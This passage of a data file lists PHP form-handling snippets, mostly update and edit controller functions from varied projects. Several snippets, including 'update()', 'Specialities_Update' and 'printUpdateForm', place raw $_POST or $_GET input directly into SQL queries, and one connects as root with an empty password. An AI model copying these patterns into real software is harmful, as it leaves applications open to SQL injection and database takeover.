$_POST\n\t\t\tif ( isset( $fields[ $id ] ) ) {\n\t\t\t\tif ( in_array( $data[ $key ][ 'type' ], array( 'checkbox' ) ) )\n\t\t\t\t\t$data[ $key ]['value'] = implode( ', ', $fields[ $id ] );\n\t\t\t\telse\n\t\t\t\t\t$data[ $key ]['value'] = esc_html( $fields[ $id ] );\n\t\t\t}\n\t\tendforeach;\n\n\t\t$where = array( 'entries_id' => $entry_id );\n\t\t// Update entry data\n\t\t$wpdb->update( $this->entries_table_name, array( 'data' => serialize( $data ), 'notes' => $_REQUEST['entries-notes'] ), $where );\n\t}",
"public function actionEdit($info){\n \n $infoedit = Task::getInfo($info);\n\n $result = false;\n \n if(isset($_POST['submit'])){\n \n $error = false;\n \n $title = $_POST['title'];\n $tasktext = $_POST['task'];\n \n if(!Task::checkTitle($title)){\n $error_title = \"Enter title for you task!\";\n $error = true;\n }\n \n if(!Task::checkTask($tasktext)){\n $error_task = \"You must write a task!\";\n $error = true;\n }\n \n if($error == false){\n $result = $var = Task::editTask($info, $title, $tasktext);\n } \n }\n \n require_once(ROOT.'/views/task/edit.php');\n return true;\n }",
"protected function update() {\n $this->db->updateRows($this->table_name, $this->update, $this->filter);\n storeDbMsg($this->db,ucwords($this->form_ID) . \" successfully updated!\");\n }",
"private function Update() {\n $Update = new Update;\n $Update->ExeUpdate(self::Entity, $this->Data, \"WHERE id = :id\", \"id={$this->Post}\");\n if ($Update->getResult()):\n $this->Error = [\"As informações de <b>contato</b> foram atualizadas com sucesso!\", WS_ACCEPT];\n $this->Result = true;\n endif;\n }",
"function updateEvent(){\r\n\t\tif(!isset($_POST['submitted'])){\r\n\t\t\treturn false;\r\n\t\t}\r\n\t\t\r\n\t\t$formvars = array();\r\n\r\n\t\tif(!$this->ValidateUpdatedSubmission()){\r\n\t\t\treturn false;\r\n\t\t}\r\n\t\t\r\n\t\t$itemPicture = $this->upLoadPic();\r\n\t\tif($itemPicture != false){\r\n\t\t\t$formvars['Eflyer'] = $this->upLoadPic();\r\n\t\t}\r\n\t\t\t\t\r\n\t\t$picBanner = $this->upLoadBanner();\r\n\t\tif($picBanner != false){\r\n\t\t\t$formvars['Ebanner'] = $this->upLoadBanner();\r\n\t\t}\r\n\t\t\r\n\t\t$this->CollectUpdatedSubmission($formvars);\r\n\t\t\r\n\t\tif(!$this->updateEventInDatabase($formvars)){\r\n\t\t\treturn false;\r\n\t\t}\r\n\t\t\r\n\t\treturn true;\r\n\t}",
"public function updateAction()\n {\n }",
"public function updateAction()\n\t{\n\t\t//vérification du statut d'admin\n\t\t$customersManager = new CustomersManager();\n\t\t$customer = $customersManager -> getLoginInfo();\n\t\tif (empty($customer) OR $customer['email'] != ADMIN_EMAIL)\n\t\t{\n\t\t\theader('Location:'.CLIENT_ROOT.'customers/account');\n\t\t\texit();\n\t\t}\n\n\t\t//sécurisation CSRF\n\t\tif(!array_key_exists('CSRFToken', $customer) OR !array_key_exists('CSRFToken', $_POST) OR $_POST['CSRFToken'] != $customer['CSRFToken'])\n\t\t{\n\t\t\theader('Location:'.CLIENT_ROOT.'customers/account');\n exit();\n\t\t}\n\n\t\t//vérification des données reçues\n\t\t$enteredData =\n\t\t[\n\t\t\t'name' => trim($_POST['name']),\n\t\t\t'description' => trim($_POST['description']),\n\t\t\t'imagePath' => trim($_POST['imagePath']),\n\t\t\t'priceHT' => trim($_POST['priceHT']),\n\t\t\t'VATRate' => trim($_POST['VATRate']),\n\t\t\t'idCategory' => trim($_POST['idCategory']),\n\t\t\t'id' => trim($_POST['id'])\n\t\t];\n\n\t\t$requiredFields = ['id', 'name', 'description', 'imagePath', 'priceHT', 'VATRate', 'idCategory'];\n\t\t$requiredFieldsNumber = count($requiredFields);\n\n\t\t// vérification des champs\n\t\tfor ($i=0; $i < $requiredFieldsNumber; $i++) { \n\t\t\tif(!array_key_exists($requiredFields[$i], $_POST))\n\t\t\t{\n\t\t\t\t$_SESSION['alertMessages']['error'][] = 'Veuillez entrer des informations valides.';\n\t\t\t\theader('Location:'.CLIENT_ROOT.'products/manageForm');\n\t\t\t\texit();\n\t\t\t}\n\t\t\tif(empty($_POST[$requiredFields[$i]]))\n\t\t\t{\n\t\t\t\t$_SESSION['alertMessages']['error'][] = 'Veuillez remplir tous les champs obligatoires.';\n\t\t\t\theader('Location:'.CLIENT_ROOT.'products/manageForm');\n\t\t\t\texit();\n\t\t\t}\n\t\t}\n\n\t\t//mise à jour des infos dans la BDD\n\t\t$requiredData = $enteredData;\n\t\t$productsManager = new ProductsManager();\n\t\t$productUpdated = $productsManager -> update($requiredData);\n\n\t\tif($productUpdated)\n\t\t{\n\t\t\t$_SESSION['alertMessages']['success'][] = 'Le produit a bien été mis à jour !';\n\t\t\theader('Location:'.CLIENT_ROOT.'products/manageForm');\n\t\t\texit();\n\t\t\t\n\t\t}\n\t\telse\n\t\t{\n\t\t\t$_SESSION['alertMessages']['error'][] = 'La mise à jour du produit a échoué !';\n\t\t\theader('Location:'.CLIENT_ROOT.'products/manageForm');\n\t\t\texit();\n\t\t}\n\t}",
"function updateArtist()\n{\n $title = \"Velvet Records - Edit Artist\";\n\n // Creates a new Disc model instance\n $artist = new Artist();\n\n // Grabs the GET input and filters it\n $artistId = filter_input(INPUT_GET, 'id', FILTER_SANITIZE_NUMBER_INT);\n\n // Get the disc details\n $artistDetails = $artist->getArtistDetails($artistId);\n\n // Here lies all the forms variables\n $name = \"\";\n\n if ($_SERVER[\"REQUEST_METHOD\"] == \"POST\") {\n // If the value is not empty\n if (!empty($_POST[\"name\"])) {\n // If the value is valid\n if (preg_match(\"/^[^<>&]+$/i\", $_POST[\"name\"])) {\n // It filters the input and makes it safe to insert into the database\n $name = filter_input(INPUT_POST, \"name\", FILTER_SANITIZE_SPECIAL_CHARS);\n } else {\n // If it's not valid it asks the user to give a valid name\n $errors[\"name\"] = \"Le name n'est pas valide.\";\n }\n } else {\n // If it's empty it asks the user to give a name\n $errors[\"name\"] = \"Le name est requis.\";\n }\n\n if (empty($errors)) {\n\n $artist->update([\n \":artist_id\" => $artistId,\n \":artist_name\" => $name\n ]);\n\n header(\"Location: index.php?action=artistsList\");\n } else {\n require \"views/artists/details.php\";\n }\n }\n}",
"private function execute_Update() {\n\n if ((isset($_POST['save'])) or (isset($_POST['save_and_close']))) {\n\n // Check posted Informations\n $weblink_status = filter_input(INPUT_POST, 'weblink_status', FILTER_VALIDATE_INT);\n $this->weblink_data = [\n 'weblink_id' => form_sanitizer(filter_input(INPUT_POST, 'weblink_id', FILTER_VALIDATE_INT), 0, 'weblink_id'),\n 'weblink_name' => form_sanitizer(filter_input(INPUT_POST, 'weblink_name', FILTER_DEFAULT), '', 'weblink_name'),\n 'weblink_cat' => form_sanitizer(filter_input(INPUT_POST, 'weblink_cat', FILTER_VALIDATE_INT), 0, 'weblink_cat'),\n 'weblink_url' => form_sanitizer(filter_input(INPUT_POST, 'weblink_url', FILTER_DEFAULT), '', 'weblink_url'),\n 'weblink_description' => form_sanitizer(filter_input(INPUT_POST, 'weblink_description', FILTER_DEFAULT), '', 'weblink_description'),\n 'weblink_datestamp' => form_sanitizer(filter_input(INPUT_POST, 'weblink_datestamp', FILTER_DEFAULT), '', 'weblink_datestamp'),\n 'weblink_visibility' => form_sanitizer(filter_input(INPUT_POST, 'weblink_visibility', FILTER_VALIDATE_INT), 0, 'weblink_visibility'),\n 'weblink_status' => !empty($weblink_status) ? $weblink_status : '0',\n 'weblink_language' => form_sanitizer(filter_input(INPUT_POST, 'weblink_language', FILTER_DEFAULT), LANGUAGE, 'weblink_language'),\n ];\n\n // Handle\n if (\\defender::safe()) {\n\n $update_datestamp = filter_input(INPUT_POST, 'update_datestamp', FILTER_DEFAULT);\n // Update\n if (dbcount(\"('weblink_id')\", DB_WEBLINKS, \"weblink_id=:weblinkid\", [':weblinkid' => $this->weblink_data['weblink_id']])) {\n $this->weblink_data['weblink_datestamp'] = !empty($update_datestamp) ? time() : $this->weblink_data['weblink_datestamp'];\n dbquery_insert(DB_WEBLINKS, $this->weblink_data, 'update');\n addNotice('success', $this->locale['WLS_0031']);\n // Create\n } else {\n $this->weblink_data['weblink_id'] = dbquery_insert(DB_WEBLINKS, $this->weblink_data, 'save');\n addNotice('success', $this->locale['WLS_0030']);\n }\n\n // Redirect\n if (isset($_POST['save_and_close'])) {\n redirect(clean_request('', ['ref', 'action', 'weblink_id'], FALSE));\n } else {\n redirect(clean_request('action=edit&weblink_id='.$this->weblink_data['weblink_id'], ['action', 'weblink_id'], FALSE));\n }\n }\n }\n }",
"function form_action()\r\n {\r\n // After passing validation, all of the meet data\r\n // should be stored in the Swim Meet class instance.\r\n\r\n $swimmeet = $this->getSwimMeet() ;\r\n\r\n $success = $swimmeet->UpdateSwimMeet() ;\r\n\r\n // If successful, store the updated meet id in so it can be used later.\r\n\r\n if ($success) \r\n {\r\n $swimmeet->setSwimMeetId($success) ;\r\n $this->set_action_message(html_div('ft-note-msg', 'Swim Meet successfully updated.')) ;\r\n }\r\n else\r\n {\r\n $this->set_action_message(html_div('ft-warning-msg', 'Swim Meet was not successfully updated.')) ;\r\n }\r\n\r\n return $success ;\r\n }",
"public function updatePost(){\n\t\t\t//goi ham de update du lieu\n\t\t\t$this->modelUpdate();\n\t\t\t//di chuyen den trang read\n\t\t\techo \"<script>location.href='account/detail';</script>\";\n\t\t}",
"public function showUpdateForm()\n {\n return view('dashboard.update');\n }",
"public function updateView(): void\n {\n if (!$this->special) {\n $this->_builder->submitUpdate();\n }\n $this->_data = $this->_entity->fetch($_GET['id'])[0];\n\n require VF . \"{$this->route}/update.php\";\n }",
"public function get_submitted_edit_form_data()\n\t{\n\t\t$this->credits = $_POST['credits'];\n\t\t$this->levelID = $_POST['level'];\t\n\t}",
"public function edit(Info $info)\n {\n //\n }",
"public function edit(Info $info)\n {\n //\n }",
"function student_edit_form_submit($form, &$form_state) {\n $id = arg(1);\n $num_edited = db_update('student')\n ->fields(array(\n 'st_fnm' => check_plain($form_state['input']['st_fnm']),\n 'st_lnm' => check_plain($form_state['input']['st_lnm']),\n 'st_email' => check_plain($form_state['input']['st_email']),\n ))\n ->condition('st_id', $id, NULL, 'IS NOT NULL')\n ->execute();\n drupal_set_message(t('Entry has been updated.')\n );\n}",
"function edit_info()\n\t{\n\t\tif ($this->ipsclass->input['id'] == \"\")\n\t\t{\n\t\t\t$this->ipsclass->admin->error(\"Невозможно определить ID языка\");\n\t\t}\n\n\t\t//-----------------------------------------\n\n\t\t$this->ipsclass->DB->simple_construct( array( 'select' => '*', 'from' => 'languages', 'where' => \"lid='\".$this->ipsclass->input['id'].\"'\" ) );\n\t\t$this->ipsclass->DB->simple_exec();\n\n\t\tif ( ! $row = $this->ipsclass->DB->fetch_row() )\n\t\t{\n\t\t\t$this->ipsclass->admin->error(\"Невозможно найти язык по введенному ID\");\n\t\t}\n\n\t\t$final['lname'] = stripslashes($_POST['lname']);\n\n\t\tif (isset($_POST['lname']))\n\t\t{\n\t\t\t$final['lauthor'] = stripslashes($_POST['lauthor']);\n\t\t\t$final['lemail'] = stripslashes($_POST['lemail']);\n\t\t}\n\n\t\t$this->ipsclass->DB->do_update( 'languages', $final, \"lid='\".$this->ipsclass->input['id'].\"'\" );\n\n\t\t$this->rebuild_cache();\n\n\t\t$this->ipsclass->admin->done_screen(\"Языковой модуль обновлен\", \"Управление языками\", \"{$this->ipsclass->form_code}\" );\n\n\t}",
"function loadUpdateTaskInfo()\n {\n $task_id = $_POST['task_id'];\n $taskModel = new Task;\n $taskInfo = $taskModel->getLoggedInUsesSingleTask($task_id);\n if ($taskInfo) {\n $this->view('inc/loads/load_task_update', false, $taskInfo);\n } else {\n $this->redirect('login');\n }\n }",
"public function update()\r\n {\r\n if (isset($_POST[\"update\"])) {\r\n // Instance new Model (Song)\r\n $profile = new Profile();\r\n // do updateSong() from model/model.php\r\n $profile->breyta($_POST[\"nafn\"], $_POST[\"pass\"], $_POST[\"user\"]);\r\n }\r\n // where to go after song has been added\r\n header('location: ' . URL . 'profile/index');\r\n }",
"public function update()\n {\n if (!isset($_GET['id']) || !isset($_POST['name']) || !isset($_POST['creator'])) {\n call('pages', 'error');\n return;\n }\n Project::update($_GET['id'], $_POST['name'], $_POST['creator']);\n\n $project = Project::find($_GET['id']);\n $tasks = Task::getAllForProject($_GET['id']);\n require_once('views/projects/show.php');\n }",
"public function vUpdatevirtualAction(){\n\t\t$this->secondaryMenu($this->controller,$this->action);\n\t\t$this->tools($this->controller,$this->action);\n\t\t\t\n\t\t$stypes = Stype::find();\n\t\t$servers = Server::find();\n\t\t\n\t\t$itemservers = array();\n\t\tforeach($servers as $server) {\n\t\t\t$itemservers[] = $server->getName();\n\t\t}\n\t\t\n\t\t\n\t\t$semantic=$this->semantic;\n\t\t\n\t\t$btnCancel = $semantic->htmlButton(\"btnCancel\",\"Annuler\",\"red\");\n\t\t$btnCancel->getOnClick(\"Serveur/index\",\"#index\");\n\t\t\n\t\t\n\t\t$btnCancel = $semantic->htmlButton(\"btnCancel\",\"Annuler\",\"red\");\n\t\t$btnCancel->getOnClick(\"Servers\",\"#divAction\");\n\t\t\n\t\t\n\t\t$form=$semantic->htmlForm(\"frmUpdate\");\n\t\t$form->addInput(\"name\")->getField()->labeledToCorner(\"asterisk\",\"right\");\n\t\t\n\t\t\n\t\t$input2=$semantic->htmlInput(\"Configuration...\");\n\t\t$form->addInput(\"config\")->getField()->labeledToCorner(\"asterisk\",\"right\");\n\t\t\t\n\t\t\n\t\t\n\t\t$form->addDropdown(\"server\",$itemservers,\"Nom du Serveurs : * \",\"Selectionner un nom de serveur ...\",false);\n\t\t\n\t\t$form->addButton(\"submit\", \"Valider\",\"ui green button\")->postFormOnClick(\"Serveur/vAddSubmitvirtual\", \"frmUpdate\",\"#divAction\");\n\t\t\n\t\t\n\n\t\t$form->addButton(\"cancel\", \"Annuler\",\"ui red button\")->postFormOnClick(\"Serveur/hosts\", \"frmDelete\",\"#tab\");\n\t\t\n\t\t\t\n\t\t$this->jquery->compile($this->view);\n\t\t\n\t\t\n\t}",
"public function actionUpdate()\n\t{\n\t\t$model=$this->loadModel();\n\n\t\t// Uncomment the following line if AJAX validation is needed\n\t\t// $this->performAjaxValidation($model);\n\n\t\tif(isset($_POST['Residencebaseinfo']))\n\t\t{\n\t\t\t$model->attributes=$_POST['Residencebaseinfo'];\n\t\t\tif($model->save())\n\t\t\t\t$this->redirect(array('view','id'=>$model->rbi_id));\n\t\t}\n\n\t\t$this->render('update',array(\n\t\t\t'model'=>$model,\n\t\t));\n\t}",
"public function updateAction() : object\n {\n if (isset($_SESSION['username'])) {\n $form = new UpdateForm($this->di);\n $form->check();\n\n $this->page->add(\"user/crud/update\", [\n \"form\" => $form->getHTML(),\n ]);\n\n return $this->page->render([\n \"title\" => \"Update an item\",\n ]);\n }\n $this->di->get(\"response\")->redirect(\"user/login\");\n }",
"protected function _update()\n\t{\n\t}",
"public function compAjaxUpdate() {\r\n $req = $this->input->post('req');\r\n updateComponentDetails($req);\r\n }",
"public function updateFromPOST() {\n if ($this->isSubmit()) {\n foreach (Tools::getValue($this->namebase(), array()) as $name => $value) {\n $key = $this->nameify($name);\n $this->input_values[$key] = $value;\n }\n Configuration::updateValue($this->key(), json_encode($this->input_values));\n }\n }",
"function editsubmit() \n\t{\n // on the action being rendered\n $this->viewData['navigationPath'] = $this->getNavigationPath('users');\n\t\ttry\n\t\t{\n\t\t\n\t\t\tif (!empty($_POST['username'])&& !empty($_POST['firstname']) && !empty( $_POST['role']) && !empty($_POST['email']))\n\t\t\t{\n\t\t\t\t$userId=$_POST['userid'];\n\t\t\t\t$userName=$_POST['username'];\n\t\t\t\t$email=$_POST['email'];\n\t\t\t\n\t\t\t\t$firstname=$_POST['firstname'];\n\t\t\t\t$middlename=$_POST['middlename'];\n\t\t\t\t$lastname=$_POST['lastname'];\n\t\t\t\t$role=$_POST['role'];\n\t\t\t\t$phoneres=$_POST['phoneres'];\n\t\t\t\t$phonecell=$_POST['phonecell'];\n\t\t\t\t$isActive=$_POST['status'];\n\t\t\t\t$isLocked=$_POST['locked'];\n\t\t\t\t$comments=$_POST['comments'];\n\t\t\t\t\n\t\t\t \n\t\t\t\tUserModel::Create()->UpdateUser( $userId, $userName,$email, $firstname, $middlename, $lastname, $role, $phoneres, $phonecell, $isActive, $isLocked, $comments);\n\t\t\t\t\n\t\t\t\t$this->renderWithTemplate('users/editsubmit', 'AdminPageBaseTemplate');\n\t\t\t}\n\t\t\telse\n\t\t\t{\n\t\t\t\t$this->viewData['module']=\"Edit User\";\n\t\t\t\t$this->viewData['error']= \"Please Enter all the Required Fields and submit\"; \n\t\t\t\t$this->renderWithTemplate('common/error', 'AdminPageBaseTemplate');\n\t\t\t}\n\t\t}\n\t\tcatch (Exception $ex)\n\t\t{\n\t\t\t$this->viewData['module']=\"Edit User\";\n\t\t\t$this->viewData['error']= $ex->getMessage(); \n\t\t\t$this->renderWithTemplate('users/error', 'AdminPageBaseTemplate');\n\t\t}\n\t\t\t\n\t\t\t\n\t}",
"public function actionEdit(){\n\t\t$form = $_POST;\n\t\t$id = $form['id'];\n\t\tunset($form['id']);\n\t\tunset($form['submit_']);\n\t\tif($form['active'] == 'on'){\n\t\t\t$form['active'] = 1;\n\t\t}\n\t\t$db = $this->context->getService('database');\n\t\t$db->exec('UPDATE core_pages SET ? WHERE id = ?', $form, $id);\n\t\t$this->redirect('pages:');\n\t}",
"function Specialities_Update(){\n\t\t\n\t\t//when click on button\n\t\tif(isset($_POST['updatesp'])){\n\t\t\t\n\t\t\t\t// get id move to variable\n\t\t\t$get_id = $_GET['Edit'];\n\t\t\t\n\t\t\t//values for Specialities table\n\t\t\t$values = \"specialitie_name='\".$_POST['sp'].\"'\";\n\t\t\t\n\t\t // update Specialities from table\n\t\t $this->Update('specialities',$values,\"where id='$get_id'\",'Specialities?m');\n\t\t} // ifisset close\n\t}",
"protected function _index_submit()\n\t{\n\t\t$user = user_get_account_info();\n\n\t\t$security_method = $this->input->post('method');\n\n\t\tmodel('user')->update($user->id, compact('security_method'));\n\t}",
"public function onUpdateField()\n {\n //TODO Validate input\n\n $post = post();\n\n $flags = FieldManager::makeFlags(\n in_array('enabled', $post['flags']),\n in_array('registerable', $post['flags']),\n in_array('editable', $post['flags']),\n in_array('encrypt', $post['flags'])\n );\n\n $validation = $this->makeValidationArray($post);\n\n $data = $this->makeDataArray($post);\n\n $feedback = FieldManager::updateField(\n $post['name'],\n $post['code'],\n $post['description'],\n $post['type'],\n $validation,\n $flags,\n $data\n );\n\n FieldFeedback::with($feedback, true)->flash();\n\n return Redirect::to(Backend::url('clake/userextended/fields/manage'));\n }",
"function update(){\n\t\t\t\t$servername = \"localhost\";\n\t\t\t\t$username = \"root\";\n\t\t\t\t$password = \"\";\n\t\t\t\t$dbname = \"CS230\";\n\t\t\t\t//Variables for holding entity data\n\t\t\t\t$i = $_POST['i'];\n\t\t\t\t$cr = $_POST['creator'];\n\t\t\t\t$ti = $_POST['title'];\n\t\t\t\t$ty = $_POST['type'];\n\t\t\t\t$id = $_POST['identifier'];\n\t\t\t\t$da = $_POST['date'];\n\t\t\t\t$la = $_POST['language'];\n\t\t\t\t$de = $_POST['description'];\n\t\t\t\t$conn = mysqli_connect($servername, $username, $password, $dbname);\n\t\t\t\t\tif($conn){\n\t\t\t\t\t//echo \"Connection OK\";\n\t\t\t\t\t}else{\n\t\t\t\t\t\tdie(\"The Connection has failed: \" .mysqli_connect_error());\n\t\t\t\t\t}\n\t\t\t\t$sql = \"UPDATE eBook_MetaData SET creator='$cr', title='$ti', type='$ty', identifier='$id', date='$da', language='$la', description='$de' WHERE id='$i'\";\n\t\t\t\t\t$data = mysqli_query($conn, $sql);\n\n\t\t\t\t\tif(!$data){\n\t\t\t\t\t\techo \"error\";\n\t\t\t\t\t}else{\n\t\t\t\t\t\techo \"data updated\";\n\t\t\t\t\t}\t\n\t\t\t\t\n\t\t\t\t$conn = null;\n\t\t\t\t}",
"public function update_edit_form() {\n if ( ! $this->isValidPostType() ) {\n return false;\n }\n echo ' enctype=\"multipart/form-data\"';\n }",
"public function editpoll_submit(){\n SiteController::loggedInCheck();\n\n\t\tif (isset($_POST['Cancel'])) {\n\t\t\theader('Location: '.BASE_URL);\n\t\t\texit();\n\t\t}\n\n\t\t$pollid = $_POST['pollid'];\n\t\t$poll = Poll::loadById($pollid);\n\n\t\t$title = $_POST['title'];\n\t\t$options = $_POST['options'];\n\t\t$timestamp = date(\"Y-m-d\", time());\n\n\t\t$poll->set('title', $title);\n\t\t$poll->set('timestamp', $timestamp);\n\t\t$poll->save();\n\n //remove old options\n $old_options = Poll::getPollOptions();\n foreach($old_options as $opt){\n $opt->delete();\n }\n\n //update options\n foreach ($options as $option){\n $poll_option = new PollOption();\n $poll_option->set('pollId', $pollid);\n $poll_option->set('poll_option', $option);\n $poll_option->save();\n }\n\n\t\theader('Location: '.BASE_URL);\n\t}",
"function editInfo(){\r\n\tif($_POST['url']=='editInfo'){\r\n\t$arrArgs=array('fav_book' =>@$_POST[\"fav_book\"] ,\r\n\t'fav_movies'=>@$_POST[\"fav_mv\"],\r\n\t'fav_food'=>@$_POST[\"fav_food\"] \r\n\t);\r\n\t\r\n\t$arrData=loadModel(\"personalprofile\",\"upInfo\",$arrArgs);\r\n\theader(\"location:\".ROOTPATH.\"/index.php?controller=profile\");\r\n\t\r\n\t\r\n\t} \r\n\t\r\n\t}",
"public function updateForms()\n {\n $this->updateSubmitForms();\n $this->updateSearchForms();\n $this->updateSearchFields();\n $this->updateFeaturedFormFields();\n $this->updateTitlesFormFields();\n $this->updateShortFormFields();\n $this->updateSortingFormFields();\n }",
"public function action_update()\n {\n\t $this->template = View::forge('template-admin');\n\n\t\t$get = Input::get();\n\t\t$id = $get[\"id\"];\n\t\t$data[\"update\"] = Model_Event::find_by('id',$id);\n\t\t$data[\"category\"] = Model_Category::find_all();\n\t\t$this->template->title = \"イベント更新\";\n\t\t$this->template->content = View::forge('event/update', $data);\n }",
"protected function update() {}",
"public function edit_info($info,$i_id)\r\n {}",
"public function update ()\n {\n $vereinRepository = new VereinRepository();\n\n $view = new View('verein_update');\n $view->title = \"Verein\";\n $view->heading = \"Verein bearbeiten\";\n $view->verein = $vereinRepository->readById($_GET['id']);\n $view->display();\n }",
"private function getUpdateform(){\n\t \n $servers=count($GLOBALS[\"TYPO3_CONF_VARS\"][\"SYS\"][\"nodes\"]);\n $nodesselect=\"<select multiple size='$servers' name='server_selected[]'>\";\n \n foreach($GLOBALS[\"TYPO3_CONF_VARS\"][\"SYS\"][\"nodes\"] as $node){\n if(gethostbyname($node['host']) != $_SERVER[\"SERVER_ADDR\"]){\n $nodesselect.=\"<option value='{$node[\"host\"]}' selected>{$node[\"host\"]}</option>\";\n }\n }\n \n $nodesselect.=\"</select>\";\n \n \n \n $content=\"\n \n <div style='width:100%;'>\n <table width='100%' cellspacing='10'>\n <tr>\n <td align='right'>\n <input type='radio' name='updfile' value='localconf' checked/>\n </td>\n <td align='left'>\n Update only localconf.php\n </td>\n </tr>\n <tr>\n <td align='right'>\n <input type='radio' name='updfile' value='typo3conf'/>\n </td>\n <td align='left'>\n Update typo3conf dir\n </td>\n </tr>\n <tr>\n <td align='right'>\n <input type='radio' name='updfile' value='fileadmin'/>\n </td>\n <td align='left'>\n Update fileadmin dir\n </td>\n </tr>\n <tr>\n <td align='right' width='50%'>\n Choose server/s:\n </td>\n <td align='left' width='50%'>\n $nodesselect\n </td>\n </tr>\n <tr>\n <td colspan='2' align='center'>\n <input type='submit' name='mode' value='Update'/>\n </td>\n </tr>\n </table>\n </div>\n \n \";\n \n \n return $content;\n }",
"function item_info_form($edit=NO)\n\t{\n\t\t?>\n\t\t<script type=\"text/javascript\">\n\t\t\tfunction verify(frm)\n\t\t\t{\n\t\t\t\tif (frm.elements['info[price]'].value == '') { alert('You must enter a price'); frm.elements['info[price]'].focus(); return false; }\n\t\t\t\telse if (!validDate(frm.elements['info[releasedate]'].value)) { alert('Invalid date format (must be mm/dd/yyyy)'); frm.elements['info[releasedate]'].focus(); return false; }\n\t\t\t\telse { return true; }\n\t\t\t}\n\t\t</script>\n\n\t\t<?php\n\t\tif ($edit == NO) { ?>Enter the price and release date below to create a new preorder:<?php }\n\t\telse\n\t\t{\n\t\t\t?>You may change the price, release date, and notes below:<?php\n\t\t\t$this->info['releasedate'] = date('m/d/Y',$this->info['releasedate']);\n\t\t}\n\t\t?>\n\t\t<p />\n\n\t\t<?=$this->pg->outlineTableHead();?>\n\t\t<form method=\"post\" action=\"/admin/utilities/preorder.php\" name=\"pre\" onsubmit=\"return verify(this)\">\n\t\t<input type=\"hidden\" name=\"act\" value=\"<?=($edit==NO?'createnew':'edititem');?>\">\n\t\t<input type=\"hidden\" name=\"preorderID\" value=\"<?=$this->preorderID;?>\">\n\t\t<input type=\"hidden\" name=\"itemID\" value=\"<?=$this->itemID;?>\">\n\t\t<tr>\n\t\t\t<td bgcolor=\"<?=$this->pg->color('table-label');?>\"><b>Title:</b></td>\n\t\t\t<td bgcolor=\"<?=$this->pg->color('table-cell');?>\"><?=@$this->item_info['title'];?></td>\n\t\t</tr>\n\t\t<tr>\n\t\t\t<td bgcolor=\"<?=$this->pg->color('table-label');?>\"><b>Platform:</b></td>\n\t\t\t<td bgcolor=\"<?=$this->pg->color('table-cell');?>\"><?=@$this->item_info['platformname'];?></td>\n\t\t</tr>\n\t\t<tr>\n\t\t\t<td bgcolor=\"<?=$this->pg->color('table-label');?>\"><b>Price:</b></td>\n\t\t\t<td bgcolor=\"<?=$this->pg->color('table-cell');?>\">$<input type=\"text\" name=\"info[price]\" size=\"6\" value=\"<?=@$this->info['price'];?>\" onkeypress=\"return onlynumbers(this.value,event,true)\" onblur=\"this.value=format_price(this.value)\" style=\"text-align:right\"></td>\n\t\t</tr>\n\t\t<tr>\n\t\t\t<td bgcolor=\"<?=$this->pg->color('table-label');?>\"><b>Release Date:</b></td>\n\t\t\t<td bgcolor=\"<?=$this->pg->color('table-cell');?>\"><input type=\"text\" name=\"info[releasedate]\" size=\"12\" value=\"<?=@$this->info['releasedate'];?>\"> (mm/dd/yyyy)</td>\n\t\t</tr>\n\t\t<tr>\n\t\t\t<td bgcolor=\"<?=$this->pg->color('table-label');?>\"><b>Notes:</b></td>\n\t\t\t<td bgcolor=\"<?=$this->pg->color('table-cell');?>\"><textarea name=\"info[notes]\" rows=\"4\" cols=\"40\" scrolling=\"auto\"><?=@$this->info['notes'];?></textarea></td>\n\t\t</tr>\n\t\t<?=$this->pg->outlineTableFoot();?>\n\n\t\t<p />\n\t\t<input type=\"submit\" value=\"<?=($edit==NO?'Create New':'Edit');?> Preorder >\" class=\"btn\"> <input type=\"reset\" value=\"Reset Form >\" class=\"btn\">\n\t\t</form>\n\t\t<?php\n\n\t\t$this->pg->addOnload(\"document.pre.elements['info[price]'].focus()\");\n\t}",
"public function update() {\n // without an id we just redirect to the error page as we need the post id to find it in the database\n if (!isset($_GET['id']))\n return call('pages', 'error');\n \n // we use the given id to get the right post and delete from the database\n $post = Post::update($_GET['id']);\n require_once('view/posts/submit.php');\n }",
"public function updateAction() {\n $model = new Application_Model_Compromisso();\n //passo para a model os dados a serem upados\n $model->update($this->_getAllParams());\n //redireciono para a view\n $this->_redirect('compromisso/index');\n }",
"function update()\n {\n $id = $_POST['id'];\n $name = $_POST['wname'];\n if($name == null)\n {\n header(\"Location:../view/sparklingwine_view.php\");\n }\n else\n {\n $sparklingwine = new SparklingWine();\n $sparklingwine->update($id,$name); \n header(\"Location:../view/sparklingwine_view.php\");\n }\n }",
"public function update(InfoRequest $request, Info $info)\n {\n //\n }",
"public function actionUpdate() {\r\n\r\n //common view data\r\n $mainCategories = $this->mainCategories;\r\n $brands = $this->brands;\r\n \r\n $errors = [];\r\n $success = null;\r\n \r\n //check if the user is logged in and get User $user properties from the database\r\n $userID = $this->checkLogged();\r\n \r\n $user = new User;\r\n $user = $user->getUserById($userID);\r\n \r\n if(!$user) {\r\n $errors['firstname'][0] = 'Unable to find user. Please, try again later';\r\n } else {\r\n //user properties\r\n $firstname = $user->firstname;\r\n $lastname = $user->lastname;\r\n $email = $user->email;\r\n } \r\n \r\n //check if the form has been submitted\r\n if($_SERVER['REQUEST_METHOD'] == 'POST') {\r\n \r\n $firstname = $this->test_input($_POST['firstname']);\r\n $lastname = $this->test_input($_POST['lastname']);\r\n $email = $this->test_input($_POST['email']);\r\n \r\n //create form model, validate it and if success - update user profile\r\n $model = new EditProfileForm($userID, $firstname, $lastname, $email);\r\n \r\n if(!$model->validate()) {\r\n $errors = $model->errors;\r\n } else {\r\n #!!!!!!!!!!!!!\r\n $success = $model->updateProfile() ? 'USER DATA SUCCESFULLY UPDATED': 'UNABLE TO UPDATE USER PROFILE. TRY AGAIN LATER';\r\n }\r\n }\r\n \r\n include_once ROOT . '/views/profile/update.php';\r\n }",
"function printUpdateForm($clientid){\n\t\t$sql = \"SELECT * FROM Client WHERE Client_ID='$clientid'\";\n\t\t$result = mysql_query($sql) or die(mysql_error());\n\t\t$info = mysql_fetch_array($result,MYSQL_ASSOC);\n\t\tinclude 'includes/editclient.php';\n\t}",
"public function updateAction()\n {\n // _POST values.\n $request = $this->container->get(\"request\");\n\n // Get the restaurant service.\n $emailTemplatesService = $this->container->get('dft_foapi.email_templates');\n\n // Update settings.\n $emailTemplatesService->updateEmailTemplates(\n $this->container->get('dft_foapi.login')->getAuthenticatedUserId(),\n $request->get('order_accepted_email_subject'),\n $request->get('order_accepted_email_content'),\n $request->get('order_rejected_email_subject'),\n $request->get('order_rejected_email_content')\n );\n\n return $this->render('dftFoapiBundle:Common:success.json.twig');\n }",
